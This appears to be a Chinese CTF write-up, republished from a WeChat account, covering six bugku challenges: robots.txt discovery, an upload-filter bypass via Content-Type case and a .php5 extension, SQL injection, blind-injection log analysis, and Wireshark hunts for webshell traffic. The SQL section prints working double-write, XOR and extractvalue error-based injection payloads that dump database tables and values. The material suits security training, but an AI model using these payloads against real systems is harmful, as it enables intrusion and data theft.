bugku-ctf 第一题:细心
这个题主要在于细心,还有就是对robots.txt的了解。
访问看看http://123.206.87.240:8002/web13/
进来后发现是这样了我瞎点了下也没发现什么东西
之后就尝试下寻找txt
http://120.24.86.145:8002/web13/robots.txt
发现了这样的一句话
User-agent: *
Disallow: /resusl.php
By bugkuctf.
if ($_GET[x]==$password) 此处省略1w字
根据上面的php代码
我们构造x=admin
http://120.24.86.145:8002/web13/resusl.php?x=admin
便能得到flag
得到flag(ctf_0098_lkji-s)
这个题主要在于细心,还有就是对robots.txt的了解。
bugku-ctf 第二题:求getshell
访问看看
应该是考的上传漏洞
这道题是后缀名黑名单检测和类型检测
1. 把请求头里面的Content-Type字母改成大写进行绕过
2. .jpg后面加上.php5其他的都被过滤了好像
如果是walf严格匹配,通过修改Content-type后字母的大小写可以绕过检测,使得需要上传的文件可以到达服务器端,而服务器的容错率较高,一般我们上传的文件可以解析。然后就需要确定我们如何上传文件,在分别将后缀名修改为php2, php3, php4, php5, phps, pht, phtm, phtml(php的别名),发现只有php5没有被过滤,成功上传,得到flag
KEY{bb35dc123820e}
此题考点在上传绕过
bugku-ctf 第三题:多次
访问看下
登陆后发现页面没有啥信息,但是url地址栏?id=1 可能存在注入
?id=1'or 1=1--+ 也报错,可能存在过滤
尝试双写绕过,?id=1'oorr 1=1--+ 返回正常
那如何检测哪些字符串被过滤了呢?新技能GET!
异或注入了解一下,两个条件相同(同真或同假)即为假
?id=1'^(length('union')!=0)--+
如果返回页面显示正常,那就证明length(‘union’)==0的,也就是union被过滤了
同理测试出被过滤的字符串有:and,or,union,select
都用双写来绕过,payload如下:
爆数据表 (注意:information里面也有or)
?id=-1'ununionion seselectlect 1,group_concat(table_name) frominfoorrmation_schema.tables where table_schema=database()--+
爆字段
?id=-1%27%20ununionion%20seselectlect%201,%20group_concat(column_name)%20from%20infoorrmation_schema.columns%20where%20table_name=%27flag1%27--+
爆数据
?id=-1%27%20ununionion%20seselectlect%201,%20group_concat(flag1)%20from%20flag1--+
提交flag显示错误,换个字段
爆address,得出下一关地址
?id=-1'ununionion seselectlect 1,group_concat(address) from flag1--+
打开之后
当双写绕过和大小写绕过都没用时,这时我们需要用到报错注入。
爆字段数
?id=1' order by2--+ 正常
?id=1' order by3--+ 报错
爆库
?id=1' and (extractvalue(1,concat(0x7e,database(),0x7e)))--+
爆表
?id=1' and (extractvalue(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables wheretable_schema="web1002-2"),0x7e)))--+
爆列
?id=1' and (extractvalue(1,concat(0x7e,(select group_concat(column_name) from information_schema.columns wheretable_schema="web1002-2" and table_name="flag2"),0x7e)))--+
爆flag
?id=1' and (extractvalue(1,concat(0x7e,(select group_concat(flag2) from flag2),0x7e)))--+
得到
flag{Bugku-sql_6s-2i-4t-bug}
flag均为小写 flag{bugku-sql_6s-2i-4t-bug}
本地主要是sql注入,报错注入以及异或注入
bugku-ctf 第四题:日志审计
下载后是一个txt
不用pcap的原因应该是可能怕我们提取数据太麻烦,写脚本不好写,因此直接给个txt文件。
那么先打开txt文件分析,
这个已经很友善了,网址那里已经sqli_blind提示了,
那么这就是一道sql盲注复现的流量分析。
知识点:
sql二分法盲注
一些sql常见语句
分析正常字符出现的条件
写脚本进行数据提取(ps:最难就是这里,不过到时候不会可以人工手动提取
根据盲注的原理,
直接拉到txt最后面,
因为最后面的那一段才是判断出flag的。
用 notepad++ 的插件中的 MIME Tool 中的 URL decode 解一下码~
还是来复习下盲注的知识,(虽然对解题用处不大)
每一条语句返回的状态码有 200 和404 。
我们可以看到 200状态码对应的ASCII值是1765 , 404状态码对应的ASCII值是5476 。
我们往后继续看~
看到有 flag_is_here 的记录...
在sql盲注里测试的字符的 最后一条状态码为 200的语句 的ASCII值再加1就是猜解正确的ASCII值,转换成字符就是我们需要的答案的其中一个字符。
下面以第一个字符作为例子:
我们可以看到当 LIMIT 0,1),1,1))>101 时,是第一个字符的最后一个 状态码为 200 的语句,这时的ASCII码是 101 ,那么 101+1=102 ,ASCII码为 102 对应的是 f ,因此flag的第一个字符就为 f
第二个就是108
第三个
97—对应的a
101+1=102 -->f
107+1=108 -->l
96+1=97 -->a
102+1=103 -->g
由于字符比较多,我们就不一一列举了,以上就是flag的前四个字符。
最多得出flag{sqlm4p_15_p0werful}
这个题的经验在于,对注入的了解,sql注入盲注
bugku-ctf 第五题:flag被盗
先点击下载看看
key.pcapng文件,下载用wireshark打开
根据题目提示,flag被盗,那么很有可能包里包含了一个文件,至于文件类型就无法准确判断了~
通常,我们可以先用 http协议 ,来看一下pcap包里面包含的信息。
筛选http
我们可以看到,请求 200 ok ,请求成功。还含有 shell.php ~
任意选择一条含shell.php的内容 右键 =>>追踪流 =>>TCP流 ,看一下详细信息。
之后找一个POST请求包,追踪TCP流
仔细找一找,flag就在里面flag{This_is_a_f10g}
本题要点:wireshark软件使用:http协议过滤、追踪TCP流
bugku-ctf 第六题:这么多数据包
下载之后解压缩, 是一个 cap 包
通过 wireshark 打开, 可以看到有很多数据包
根据提示,我们要找到 getshell 流, 经大佬提示, 一般 getshell 流的 TCP 的
报文中很可能包含 command 这个字段, 我们可以通过<协议 contains “内
容” >来查找 getshell 流
tcp contains "command"
通过追踪 tcp 流, 我们可以看到一段 base64 字符串
base64 解密, 得到 flag
CCTF{do_you_like_sniffer}
这题主要难在不知道怎么找 getshell 流, 需要对各种报文以及 wireshark 的使用方法比较熟悉
本文始发于微信公众号(LemonSec):【CTF web入门第七篇】web入门
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论